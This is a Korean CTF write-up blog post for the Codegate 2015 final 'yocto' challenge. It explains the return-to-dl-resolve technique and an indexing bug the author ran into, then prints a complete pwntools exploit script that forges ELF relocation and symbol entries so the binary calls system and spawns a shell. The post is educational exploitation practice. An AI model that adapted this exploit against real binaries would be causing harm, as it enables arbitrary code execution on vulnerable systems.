-
Codegate 2015 final yoctoPwnable/CTF 2018. 2. 21. 00:33
return to dl-resolve 문제다.
웹 해킹 공부하다가 우연히 문제를 봐서 문제를 잡게 되었다.
계속 이상한 오류 때문에 삽질을 하다가 오류를 발견했는데 그 오류가 elf32_sym은 str_tab_offset 000000 000000 00000000
이런 식으로 16byte씩 인덱스 한 개씩 가진다.
맨 처음이 0으로 시작하기 때문에 system_string - elf32_sym을하고 -1을 해줘야 되는데 -1을 해주지 않았다..
return_to_dl_resolve를 콜 하는 부분을 실행시키는 방법인데 그 때 call될때 바로 뒤에 있는 값이 인자가 된다.\14707로 인덱스가 되면 system문자열이 제대로 들어가도 undefined symbol: system, version GLIBC_2.3.4 이런 식으로 출력된다.
다른 인덱스에서 다른 이상한 문자열을 넣으면 undefined symbol:AAA 까지만 출력이 된다.
내 실력으로는 그냥 그 인덱스를 피하는 방법밖에 몰라서 그 방법으로 하였다.
1234567891011121314151617181920212223242526272829303132from pwn import *p=process('./yocto')reloc_offset = 0glob = 0x080495C0elf_rel = p32(0x08049540) #read_gotelf_rel += p32(0x14607) #elf32_sym(symtab) offset (idx), minus/16sym = p32(0x1400)+p32(0)*2+p32(0x12)#strtab offsetjmprel = 0x8048270symtab = 0x804818cstrtab = 0x80481fcprint jmprelprint symtabprint strtabpayload = '.' + str((0x1374)) #jmp_rel offsetpayload += '.' + str(0x080482a0) #dl_resolve push,callpayload += ';sh;'payload += 'a'*17payload += elf_relpayload += sympayload += 'system\x00'raw_input('$ ')p.sendline(payload)print payloadp.interactive()cs # undefined symbol: system, version GLIBC_2.3.4 version도 포함해서 오류가 나면 인덱스를 바꿔서 공격해보자
'Pwnable > CTF' 카테고리의 다른 글
Codegate 2017 final VM (0) 2018.03.22 Codegate 2017 final petshop (0) 2018.03.22 Codegate 2018 zoo (0) 2018.02.11 Codegate 2018 melong (2) 2018.02.07 코드게이트 2018 풀이 보고서 (0) 2018.02.07